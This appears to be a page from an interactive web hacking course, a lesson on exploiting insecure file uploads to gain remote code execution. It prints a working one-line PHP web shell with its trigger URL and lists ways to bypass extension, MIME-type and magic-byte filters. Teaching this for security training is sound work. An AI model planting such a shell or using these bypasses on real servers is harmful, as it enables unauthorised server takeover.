Web Application Hacking (Hands-On)

Insecure File Upload → RCE

Turn a file upload into remote code execution with a web shell.

Advanced · 14 min

Open the interactive lesson →

If an app lets you upload files and serves them back in a directory that executes code, uploading a script (a 'web shell') can give you command execution on the server — one of the fastest paths from web bug to full compromise.

<?php system($_GET['cmd']); ?>   // shell.php — then visit /uploads/shell.php?cmd=id

Common weak filters and bypasses

• Extension blocklist — try .phtml, .php5, .phar, or double extensions (shell.php.jpg).
• Content-Type check — spoof the MIME type to image/jpeg.
• Magic-byte check — prepend valid image bytes (GIF89a) before your code.
• Null byte / case tricks on older stacks — shell.php%00.jpg, shell.PhP.

Take the quiz →